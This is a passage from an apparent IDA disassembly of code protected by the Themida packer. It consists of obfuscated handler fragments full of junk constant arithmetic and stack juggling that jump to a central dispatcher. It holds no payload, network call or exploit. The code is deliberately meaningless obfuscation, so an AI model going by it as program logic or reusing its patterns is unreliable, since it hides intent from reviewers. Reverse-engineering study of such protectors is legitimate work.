loc_55CF39:				; CODE XREF: Themida_:005588C2j
		mov	ebp, 7558B4CAh
		jmp	loc_55B37E
; ---------------------------------------------------------------------------


loc_55CF43:				; CODE XREF: Themida_:005553B7j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55CF57:				; CODE XREF: Themida_:005571B5j
		mov	[esp], ebp
		push	eax
		push	1D6E6BE6h
		pop	eax
		jmp	loc_558E8C
; ---------------------------------------------------------------------------


loc_55CF66:				; CODE XREF: Themida_:0055BF71j
		xor	ebp, ebx
		pop	ebx
		push	edx
		mov	edx, 95C2DE4Bh
		sub	ebp, edx
		jmp	loc_55BBE5
; ---------------------------------------------------------------------------


loc_55CF76:				; CODE XREF: Themida_:0055E139j
		push	6052h
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		mov	esi, 2BC467E9h
		shr	esi, 4
		jmp	loc_5569D6
; ---------------------------------------------------------------------------


loc_55CF97:				; CODE XREF: Themida_:0055D680j
		push	eax
		mov	al, 61h
		dec	al
		xor	al, 82h
		mov	bh, al
		pop	eax
		sub	al, 0CDh
		sub	al, 0BCh
		jmp	loc_55D204
; ---------------------------------------------------------------------------


loc_55CFAA:				; CODE XREF: Themida_:0055D81Bj
		mov	ecx, 6A6A423Eh
		xor	ecx, ebp
		pop	ebp
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_554314
; ---------------------------------------------------------------------------


loc_55CFBD:				; CODE XREF: Themida_:0055CD6Bj
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 3AE95567h
		add	edi, 7DE6279Ah
		inc	edi
		add	edi, 4DF698Eh
		xor	edi, 0BDAEE692h
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		jmp	loc_5592E0
; ---------------------------------------------------------------------------


loc_55CFE9:				; CODE XREF: Themida_:0055C4CBj
		push	ebx
		mov	ebx, 1FC422Ah
		add	ebx, 7195289Eh
		sub	eax, ebx
		jmp	loc_55BA2C
; ---------------------------------------------------------------------------


loc_55CFFC:				; CODE XREF: Themida_:00557136j
		pop	edx
		shr	dh, 1
		shr	dh, 2
		push	ax
		jmp	loc_553182
; ---------------------------------------------------------------------------


loc_55D009:				; CODE XREF: Themida_:00558E1Aj
		add	edi, 25E80601h
		add	ecx, edi
		pop	edi
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55D0D6
; ---------------------------------------------------------------------------


loc_55D02E:				; CODE XREF: Themida_:00558049j
		inc	ebx
		jmp	loc_5577AB
; ---------------------------------------------------------------------------


loc_55D034:				; CODE XREF: Themida_:00555214j
		push	edi
		mov	edi, 2
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_553B2E
; ---------------------------------------------------------------------------


loc_55D04C:				; CODE XREF: Themida_:0055E90Fj
		dec	ebx
		sub	ebx, 7F272839h
		add	ebx, 77505EE9h
		sub	ebx, 0FE694955h


loc_55D05F:				; CODE XREF: Themida_:005568BCj
		push	ebp
		push	3827h
		mov	[esp], eax
		pop	ebp
		mov	eax, ebp
		jmp	loc_55A933
; ---------------------------------------------------------------------------


loc_55D070:				; CODE XREF: Themida_:0055DF3Bj
		push	edx
		not	dword ptr [esp]
		pop	edx
		sub	esp, 4
		jmp	loc_55CB3D
; ---------------------------------------------------------------------------


loc_55D080:				; CODE XREF: Themida_:00559618j
		xor	ecx, [esp]
		jmp	loc_55F16F
; ---------------------------------------------------------------------------


loc_55D088:				; CODE XREF: Themida_:00556AACj
		xor	dl, 1
		add	bl, dl
		pop	edx
		jmp	loc_554FDB
; ---------------------------------------------------------------------------


loc_55D093:				; CODE XREF: Themida_:0055525Fj
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		test	ecx, eax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_55C3AC
; ---------------------------------------------------------------------------


loc_55D0C1:				; CODE XREF: Themida_:00555AEBj
		pop	esp
		add	edx, eax
		jmp	loc_55A3B7
; ---------------------------------------------------------------------------


loc_55D0C9:				; CODE XREF: Themida_:0055E8D2j
		mov	[esp], ebx
		mov	ebx, 65755EB6h
		jmp	loc_55A114
; ---------------------------------------------------------------------------


loc_55D0D6:				; CODE XREF: Themida_:0055D029j
		mov	ebp, 5B911741h
		add	eax, 2A526B28h
		jmp	loc_55362A
; ---------------------------------------------------------------------------


loc_55D0E5:				; CODE XREF: Themida_:0055A062j
		add	ecx, eax
		jmp	loc_55A671
; ---------------------------------------------------------------------------


loc_55D0EC:				; CODE XREF: Themida_:0055DC9Cj
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_552F21
; ---------------------------------------------------------------------------


loc_55D0FC:				; CODE XREF: Themida_:00557192j
		add	dl, 24h
		jmp	loc_559B5A
; ---------------------------------------------------------------------------


loc_55D104:				; CODE XREF: Themida_:0055B6E4j
		xor	bl, al
		movzx	eax, al
		jmp	loc_55AF20
; ---------------------------------------------------------------------------


loc_55D10E:				; CODE XREF: Themida_:00557005j
		push	4D28h
		mov	[esp], edx
		jmp	loc_55CBBB
; ---------------------------------------------------------------------------


loc_55D11B:				; CODE XREF: Themida_:0055DE5Bj
		add	esi, 4
		push	7105h
		mov	[esp], edi
		mov	edi, 3E2008EAh
		dec	edi
		jmp	loc_556BEA
; ---------------------------------------------------------------------------


loc_55D134:				; CODE XREF: Themida_:005554DEj
		add	esp, 4
		jmp	loc_555878
; ---------------------------------------------------------------------------


loc_55D13F:				; CODE XREF: Themida_:005591C3j
		pop	esp
		add	esp, 4
		add	ebx, 7A0C1F53h
		sub	ebx, 355C43DAh
		add	ebx, eax
		add	ebx, 355C43DAh
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55DF7B
; ---------------------------------------------------------------------------


loc_55D16C:				; CODE XREF: Themida_:0055CA1Ej
		mov	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		and	esi, 262A11BCh
		shl	esi, 8
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_557828
; ---------------------------------------------------------------------------


loc_55D18F:				; CODE XREF: Themida_:0055EB2Ej
		pop	edi
		jmp	loc_554DBC
; ---------------------------------------------------------------------------


loc_55D195:				; CODE XREF: Themida_:005552EAj
		add	edi, 50A038C3h
		add	edi, ecx
		push	5D65h
		mov	[esp], ecx
		push	esi
		push	0BC14937h
		pop	esi
		jmp	loc_5582E6
; ---------------------------------------------------------------------------


loc_55D1B1:				; CODE XREF: Themida_:00557C2Ej
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_557FA2
; ---------------------------------------------------------------------------


loc_55D1C7:				; CODE XREF: Themida_:00559C2Dj
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		add	al, 47h
		push	62h
		jmp	loc_554CAF
; ---------------------------------------------------------------------------


loc_55D1DF:				; CODE XREF: Themida_:0055E962j
		mov	ebp, 1F5F5B6Ch
		jmp	loc_559598
; ---------------------------------------------------------------------------


loc_55D1E9:				; CODE XREF: Themida_:00555612j
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		push	edx
		mov	dl, 73h
		not	dl
		shl	dl, 4
		dec	dl
		add	dl, 0FFh
		dec	dl
		push	ax
		jmp	loc_553903
; ---------------------------------------------------------------------------


loc_55D204:				; CODE XREF: Themida_:0055CFA5j
		add	al, bh
		add	al, 0BCh
		push	ebx
		jmp	loc_559C18
; ---------------------------------------------------------------------------


loc_55D20E:				; CODE XREF: Themida_:00554762j
		add	ebp, edx
		pop	edx
		jmp	loc_5577E7
; ---------------------------------------------------------------------------


loc_55D216:				; CODE XREF: Themida_:0055E226j
		pop	dword ptr [esp]
		pop	esp
		mov	fs:[edx], al
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55D222:				; CODE XREF: Themida_:00557289j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 39514553h
		dec	ebp
		add	ebp, 119E16FDh
		sub	ebp, 339A2A39h
		add	ebp, 0E8AACDEEh
		jmp	loc_55BBF3
; ---------------------------------------------------------------------------


loc_55D249:				; CODE XREF: Themida_:0055A643j
		add	dl, 0CDh
		add	dl, 59h
		push	eax
		mov	al, 0Fh
		inc	al
		sub	al, 0E5h
		xor	dl, al
		jmp	loc_557339
; ---------------------------------------------------------------------------


loc_55D25D:				; CODE XREF: Themida_:00556F7Fj
		add	ebp, 4
		push	edx
		push	eax
		mov	eax, 468C6317h
		mov	edx, 2986D21Dh
		jmp	loc_55C285
; ---------------------------------------------------------------------------


loc_55D274:				; CODE XREF: Themida_:00557FF9j
		add	esi, 49A721E4h
		jmp	loc_55AE5F
; ---------------------------------------------------------------------------


loc_55D27F:				; CODE XREF: Themida_:0055B01Ej
		push	4714h
		mov	[esp], ecx
		mov	ecx, 3B55085Bh
		and	ecx, 5C1B53FDh
		push	ebp
		push	edi
		mov	edi, 3D523B16h
		mov	ebp, 92356DD6h
		sub	ebp, edi
		jmp	loc_55460E
; ---------------------------------------------------------------------------


loc_55D2A5:				; CODE XREF: Themida_:00557DFFj
		push	ecx
		mov	ecx, 5D1749DDh
		xor	ecx, 3F4A009Ah
		and	ecx, 44C0058h
		shl	ecx, 1
		jmp	loc_55AA6C
; ---------------------------------------------------------------------------


loc_55D2BE:				; CODE XREF: Themida_:0055BF0Aj
		mov	ecx, edx
		pop	edx
		xchg	ebp, ecx
		jmp	loc_559CF4
; ---------------------------------------------------------------------------


loc_55D2C8:				; CODE XREF: Themida_:00554356j
		dec	al
		shr	al, 7
		jmp	loc_55CC0E
; ---------------------------------------------------------------------------


loc_55D2D2:				; CODE XREF: Themida_:0055F181j
		push	5E1B0404h
		mov	edx, [esp]
		add	esp, 4
		dec	edx
		push	esi
		mov	esi, 22C8B85h
		sub	edx, esi
		pop	esi
		jmp	loc_55526A
; ---------------------------------------------------------------------------


loc_55D2EF:				; CODE XREF: Themida_:0055B87Cj
		sub	bl, 42h
		push	ecx
		push	eax
		push	edx
		mov	dl, 64h
		mov	al, 1Dh
		sub	al, dl
		pop	edx
		jmp	loc_558A03
; ---------------------------------------------------------------------------


loc_55D301:				; CODE XREF: Themida_:00553B73j
		mov	ecx, 200371A6h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, eax
		sub	ebx, 200371A6h
		sub	ebx, 7DA841CBh
		sub	edx, 74383DC6h
		push	ecx
		mov	ecx, 70886EDDh
		xor	ecx, 6A0174DCh
		xor	ecx, 4E8E16DBh
		add	edx, ecx
		pop	ecx
		sub	edx, 0C0E1448h
		add	edx, eax
		jmp	loc_558D62
; ---------------------------------------------------------------------------


loc_55D344:				; CODE XREF: Themida_:00558255j
		add	eax, 90D78FDAh
		add	edi, eax
		pop	eax
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	eax, 4
		jmp	loc_558793
; ---------------------------------------------------------------------------


loc_55D363:				; CODE XREF: Themida_:00555544j
		mov	[esp], ebx
		mov	bh, 71h
		push	edx
		jmp	loc_559E38
; ---------------------------------------------------------------------------


loc_55D36E:				; CODE XREF: Themida_:00553669j
		sub	al, ch
		sub	al, 0B5h
		jmp	loc_55CEB7
; ---------------------------------------------------------------------------


loc_55D377:				; CODE XREF: Themida_:00558056j
		add	ecx, esi
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_558C46
; ---------------------------------------------------------------------------


loc_55D388:				; CODE XREF: Themida_:0055E638j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_557FDF
; ---------------------------------------------------------------------------


loc_55D393:				; CODE XREF: Themida_:0055D88Cj
		xor	ebp, [esp]
		jmp	loc_554925
; ---------------------------------------------------------------------------


loc_55D39B:				; CODE XREF: Themida_:00557DEDj
		pop	ecx
		add	edx, 19D14F09h
		add	edx, ecx
		push	edi
		mov	edi, 3EF0569Eh
		not	edi
		jmp	loc_55DB47
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5569C0
; ---------------------------------------------------------------------------


loc_55D3C2:				; CODE XREF: Themida_:0055CA44j
		add	edi, edx
		push	esi
		mov	esi, 64275604h
		sub	edi, esi
		pop	esi
		jmp	loc_552EE2
; ---------------------------------------------------------------------------


loc_55D3D2:				; CODE XREF: Themida_:0055D6B7j
		xor	esi, 11FE319Ah
		and	ebp, esi
		jmp	loc_558A09
; ---------------------------------------------------------------------------


loc_55D3DF:				; CODE XREF: Themida_:0055B418j
		pop	esi
		xor	esi, 575D746Ch
		push	0D70h
		mov	[esp], edi
		mov	edi, esi
		sub	esp, 4
		mov	[esp], edi
		push	edi
		jmp	loc_558F4E
; ---------------------------------------------------------------------------


loc_55D3FC:				; CODE XREF: Themida_:00555082j
		mov	edx, 5CF042A2h
		sub	edx, 79AD0FA5h
		jmp	loc_558630
; ---------------------------------------------------------------------------


loc_55D40C:				; CODE XREF: Themida_:00556521j
		sub	dl, 0FAh
		push	680Ch
		mov	[esp], ecx
		mov	cl, dl
		mov	al, cl
		pop	ecx
		pop	edx
		mov	bl, al
		pop	eax
		jmp	loc_55449A
; ---------------------------------------------------------------------------


loc_55D425:				; CODE XREF: Themida_:0055834Cj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5570D0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3E6h
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_558299
; ---------------------------------------------------------------------------


loc_55D452:				; CODE XREF: Themida_:00556D62j
		pop	esi
		push	ecx
		mov	ecx, esp
		jmp	loc_553F4B
; ---------------------------------------------------------------------------


loc_55D45B:				; CODE XREF: Themida_:00553AD6j
		add	dh, al
		pop	ax
		sub	al, dh
		jmp	loc_55E87A
; ---------------------------------------------------------------------------


loc_55D466:				; CODE XREF: Themida_:00554940j
		sub	eax, ebx
		pop	ebx
		add	eax, 21587924h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55728E
; ---------------------------------------------------------------------------


loc_55D489:				; CODE XREF: Themida_:0055C3AFj
		mov	edx, 17932066h
		inc	edx
		push	edx
		not	dword ptr [esp]
		pop	edx
		sub	edx, 0FFFFFFFFh
		shr	edx, 3
		shl	edx, 5
		jmp	loc_559861
; ---------------------------------------------------------------------------


loc_55D4A5:				; CODE XREF: Themida_:0055DF4Bj
		push	1D08h
		jmp	loc_552F2E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_5596EE
; ---------------------------------------------------------------------------


loc_55D4BE:				; CODE XREF: Themida_:00557FDAj
		push	esi
		jmp	loc_553BA5
; ---------------------------------------------------------------------------


loc_55D4C4:				; CODE XREF: Themida_:0055E4C0j
		mov	edx, esp
		push	17Ch
		mov	[esp], ecx
		mov	ecx, 69712C03h
		push	ebx
		mov	ebx, 285F2685h
		and	ecx, ebx
		pop	ebx
		xor	ecx, 6F443DF9h
		neg	ecx
		jmp	loc_559050
; ---------------------------------------------------------------------------


loc_55D4E9:				; CODE XREF: Themida_:0055B455j
		mov	ebx, esp
		push	ebp
		push	4
		pop	ebp
		add	ebx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		jmp	loc_55B889
; ---------------------------------------------------------------------------


loc_55D500:				; CODE XREF: Themida_:00552E4Ej
		push	ebx
		mov	ebx, 4
		jmp	loc_554956
; ---------------------------------------------------------------------------


loc_55D50B:				; CODE XREF: Themida_:00559181j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55E13E
; ---------------------------------------------------------------------------


loc_55D519:				; CODE XREF: Themida_:00556999j
		mov	[esp], ebx
		push	edx
		mov	dl, 5
		jmp	loc_5595AE
; ---------------------------------------------------------------------------


loc_55D524:				; CODE XREF: Themida_:00555451j
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	edi, 4
		add	edi, 2
		jmp	loc_553758
; ---------------------------------------------------------------------------


loc_55D53E:				; CODE XREF: Themida_:00553BA0j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55D54F:				; CODE XREF: Themida_:00559000j
		inc	edx
		dec	edx
		shl	edx, 4
		push	edi
		mov	edi, 788708ABh
		sub	edx, edi
		jmp	loc_5545BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_55D561:				; CODE XREF: sub_5747D8-168FEj
		mov	al, 0EEh
		jmp	loc_555B8F
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_55D568:				; CODE XREF: Themida_:00557914j
		add	edx, 4
		push	ecx
		mov	ecx, 574F2D9Ah
		push	4BD1h
		mov	[esp], ecx
		not	dword ptr [esp]
		pop	ecx
		shr	ecx, 2
		and	ecx, 596D767Ah
		xor	ecx, 82C341Ah
		jmp	loc_5551D9
; ---------------------------------------------------------------------------


loc_55D594:				; CODE XREF: Themida_:0055B22Dj
		xor	eax, 0E4444D83h
		sub	edx, eax
		pop	eax
		jmp	loc_553F98
; ---------------------------------------------------------------------------


loc_55D5A1:				; CODE XREF: Themida_:005586D6j
		push	eax
		jmp	loc_55E18D
; ---------------------------------------------------------------------------


loc_55D5A7:				; CODE XREF: Themida_:0055C0D9j
		add	esp, 4
		jmp	loc_555008
; ---------------------------------------------------------------------------


loc_55D5AF:				; CODE XREF: Themida_:00553BD8j
		sub	al, dh
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	bl, al
		push	ebx
		mov	ebx, 46D56779h
		xchg	eax, ebx
		not	eax
		xchg	eax, ebx
		jmp	loc_5558FE
; ---------------------------------------------------------------------------


loc_55D5CD:				; CODE XREF: Themida_:005534F9j
		xor	bl, al
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_55633B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	4E0Ch
		mov	[esp], edx
		push	352Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		push	6D0h
		jmp	loc_55E22B
; ---------------------------------------------------------------------------


loc_55D601:				; CODE XREF: Themida_:00558EB2j
		add	ebx, 1
		xchg	eax, ebx
		dec	eax
		jmp	loc_557AF8
; ---------------------------------------------------------------------------


loc_55D60B:				; CODE XREF: Themida_:0055931Dj
		sub	bl, 79h
		sub	bl, dh
		add	bl, 79h
		pop	dx
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		push	43D9h
		mov	[esp], ecx
		jmp	loc_55497F
; ---------------------------------------------------------------------------


loc_55D62C:				; CODE XREF: Themida_:00558BFEj
		sub	ebx, edx
		pop	edx
		jmp	loc_55C67E
; ---------------------------------------------------------------------------


loc_55D634:				; CODE XREF: Themida_:005558A7j
		push	4860h
		mov	[esp], ecx
		mov	ecx, 3FE90122h
		jmp	loc_55ABB0
; ---------------------------------------------------------------------------


loc_55D646:				; CODE XREF: Themida_:0055A1B4j
		pop	dword ptr [eax]
		add	dword ptr [eax], 28AD21EDh
		jmp	loc_555BAB
; ---------------------------------------------------------------------------


loc_55D653:				; CODE XREF: Themida_:00557800j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55D668:				; CODE XREF: Themida_:0055AE42j
		dec	esi
		add	esi, 47292B5Eh
		jmp	loc_555E97
; ---------------------------------------------------------------------------


loc_55D674:				; CODE XREF: Themida_:0055E5FFj
		and	dl, 0FDh
		xor	dl, 0D6h
		sub	al, dl
		pop	edx
		sub	al, dh
		push	ebx
		jmp	loc_55CF97
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55C292
; ---------------------------------------------------------------------------


loc_55D68E:				; CODE XREF: Themida_:0055E82Dj
		add	esp, 4
		xor	eax, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_55CB00
; ---------------------------------------------------------------------------


loc_55D69E:				; CODE XREF: Themida_:00554FEAj
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 22803C13h
		push	esi
		mov	esi, 43AB2D8Eh
		not	esi
		not	esi
		jmp	loc_55D3D2
; ---------------------------------------------------------------------------


loc_55D6BC:				; CODE XREF: Themida_:005587B1j
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		shl	dword ptr [esp], cl
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55D6E6:				; CODE XREF: Themida_:0055C3A7j
		xor	edx, 41054D36h
		push	edx
		mov	edx, 7CC06FCBh
		sub	esi, edx
		jmp	loc_555BA0
; ---------------------------------------------------------------------------


loc_55D6F9:				; CODE XREF: Themida_:0055E45Bj
		mov	dh, ch
		pop	ecx
		jmp	loc_55AD75
; ---------------------------------------------------------------------------


loc_55D701:				; CODE XREF: Themida_:0055B362j
		sub	edx, 0FA3270C3h
		mov	ebp, edx
		pop	edx
		push	esi
		mov	esi, 156B0828h
		push	ecx
		mov	ecx, 56376D63h
		and	esi, ecx
		pop	ecx
		and	esi, 5A323098h
		add	esi, 2C5C4AF6h
		sub	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebp, 122E7A3Fh
		push	edx
		mov	edx, 2ADD687Bh
		neg	edx
		neg	edx
		sub	edx, 0D8A95842h
		jmp	loc_554BE1
; ---------------------------------------------------------------------------


loc_55D74B:				; CODE XREF: Themida_:00557BD9j
		mov	ebp, 818287Ch
		shr	ebp, 4
		shl	ebp, 6
		xchg	edx, ebp
		not	edx
		jmp	loc_55896C
; ---------------------------------------------------------------------------


loc_55D75F:				; CODE XREF: Themida_:005579D6j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55D764:				; CODE XREF: Themida_:0055873Cj
		neg	dword ptr [esp]
		pop	esi
		add	esi, 68467F8Eh
		sub	esi, 0F6A74886h
		sub	eax, 69B22121h
		add	eax, esi
		add	eax, 69B22121h
		mov	esi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	edx, [esp]
		push	6D93h
		mov	[esp], edi
		push	esp
		pop	edi
		push	5953h
		mov	[esp], ebp
		push	ecx
		mov	ecx, 27B22527h
		mov	ebp, 0D84DDADDh
		add	ebp, ecx
		pop	ecx
		jmp	loc_555075
; ---------------------------------------------------------------------------


loc_55D7B5:				; CODE XREF: Themida_:00558604j
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 0ED64C07h
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_554697
; ---------------------------------------------------------------------------


loc_55D7DE:				; CODE XREF: Themida_:00554503j
		mov	esi, edx
		pop	edx
		dec	esi
		push	0
		sub	[esp], esi
		jmp	loc_556C74
; ---------------------------------------------------------------------------


loc_55D7EF:				; CODE XREF: Themida_:0055315Cj
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_557319
; ---------------------------------------------------------------------------


loc_55D7FB:				; CODE XREF: Themida_:0055BEA3j
		pop	eax
		push	eax
		not	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55B834
; ---------------------------------------------------------------------------


loc_55D808:				; CODE XREF: Themida_:0055862Bj
		add	esp, 4
		xor	ebp, 0C04486h
		add	edi, ebp
		pop	ebp
		push	ecx
		push	ebp
		mov	ebp, 6A6A423Ch
		jmp	loc_55CFAA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4CCEh
		jmp	loc_5543D7
; ---------------------------------------------------------------------------


loc_55D82E:				; CODE XREF: Themida_:0055A273j
		push	ecx
		mov	ch, 0C9h
		add	ch, 95h
		add	ch, 20h
		jmp	loc_556095
; ---------------------------------------------------------------------------


loc_55D83C:				; CODE XREF: Themida_:00555D6Bj
		sub	ebx, 28A566F1h
		neg	ebx
		jmp	loc_55D8F4
; ---------------------------------------------------------------------------


loc_55D849:				; CODE XREF: Themida_:0055BF4Aj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55391C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		push	esp
		jmp	loc_556D0B
; ---------------------------------------------------------------------------


loc_55D869:				; CODE XREF: Themida_:0055BF7Cj
		sub	esp, 4
		jmp	loc_55B944
; ---------------------------------------------------------------------------


loc_55D871:				; CODE XREF: Themida_:00559BBCj
		xor	ebx, 0F1D034C1h
		sub	ecx, ebx
		pop	ebx
		add	edx, ecx
		pop	ecx
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_555EEA
; ---------------------------------------------------------------------------


loc_55D88B:				; CODE XREF: Themida_:0055EFE0j
		pop	edx
		jmp	loc_55D393
; ---------------------------------------------------------------------------


loc_55D891:				; CODE XREF: Themida_:0055CEBDj
		mov	[esp], ecx
		mov	cl, 8Fh
		add	al, 26h
		add	al, cl
		sub	al, 26h
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5547FC
; ---------------------------------------------------------------------------


loc_55D8AC:				; CODE XREF: Themida_:00555ED2j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 5EA84BC7h
		xchg	eax, ebp
		push	edx
		push	54AC2858h
		pop	edx
		xor	edx, 1DF3519h
		sub	edx, 55731D42h
		jmp	loc_559C4F
; ---------------------------------------------------------------------------


loc_55D8DC:				; CODE XREF: Themida_:0055AB25j
		pop	ebx
		add	ebp, eax
		pop	eax
		sub	eax, ebp
		jmp	loc_554513
; ---------------------------------------------------------------------------


loc_55D8E7:				; CODE XREF: Themida_:00559045j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55D8EC:				; CODE XREF: Themida_:0055E4C6j
		shl	edi, 8
		jmp	loc_557C0A
; ---------------------------------------------------------------------------


loc_55D8F4:				; CODE XREF: Themida_:0055D844j
		shr	ebx, 5
		push	esi
		mov	esi, 73935939h
		shl	esi, 5
		sub	esi, 31E61A1Dh
		jmp	loc_558B8C
; ---------------------------------------------------------------------------


loc_55D90B:				; CODE XREF: Themida_:0055CC81j
		mov	ebx, 3D0D7B46h
		sub	eax, ebx
		pop	ebx
		sub	eax, esi
		push	ebp
		jmp	loc_553D76
; ---------------------------------------------------------------------------


loc_55D91B:				; CODE XREF: Themida_:0055BF3Aj
		push	eax
		push	70C5h
		mov	[esp], edx
		mov	edx, 4860738Dh
		push	ecx
		push	1E4B5F10h
		pop	ecx
		xor	ecx, 2D061DC4h
		mov	eax, ecx
		pop	ecx
		jmp	loc_558B99
; ---------------------------------------------------------------------------


loc_55D93E:				; CODE XREF: Themida_:0055EA7Fj
		mov	ebp, 2
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	1ABCh
		mov	[esp], ebx
		jmp	loc_55356C
; ---------------------------------------------------------------------------


loc_55D958:				; CODE XREF: Themida_:005577A6j
		pop	esi
		add	esi, 7C385CC3h
		xor	esi, 8423B39Bh
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, 65FF1A7Eh
		add	[esp+4], esi
		pop	esi
		pop	edi
		sub	edi, 65FF1A7Eh
		sub	esp, 4
		mov	[esp], edi
		sub	dword ptr [esp], 143C7CC7h
		pop	eax
		add	eax, 143C7CC7h
		jmp	loc_555549
; ---------------------------------------------------------------------------


loc_55D9A1:				; CODE XREF: Themida_:0055758Fj
		pop	ebx
		sub	eax, 10B5237Dh
		sub	eax, esi
		add	eax, 10B5237Dh
		pop	esi
		xor	ebx, eax
		jmp	loc_55F1B8
; ---------------------------------------------------------------------------


loc_55D9B6:				; CODE XREF: Themida_:0055B3B7j
		pop	ebx
		push	edx
		mov	dl, 0Dh
		jmp	loc_557D9E
; ---------------------------------------------------------------------------


loc_55D9BF:				; CODE XREF: Themida_:00559C76j
		add	esp, 4
		sub	eax, 76F45BF4h
		add	eax, 692B2329h
		add	eax, ebx
		sub	eax, 692B2329h
		push	ecx
		mov	ecx, 76F45BF4h
		jmp	loc_55B613
; ---------------------------------------------------------------------------


loc_55D9E1:				; CODE XREF: Themida_:0055A989j
		push	ebx
		mov	ebx, 54070CDAh
		jmp	loc_554EA3
; ---------------------------------------------------------------------------


loc_55D9EC:				; CODE XREF: Themida_:005547E9j
		add	esp, 4


loc_55D9F2:				; CODE XREF: Themida_:0055BC91j
		sub	esp, 4
		mov	[esp], ebx
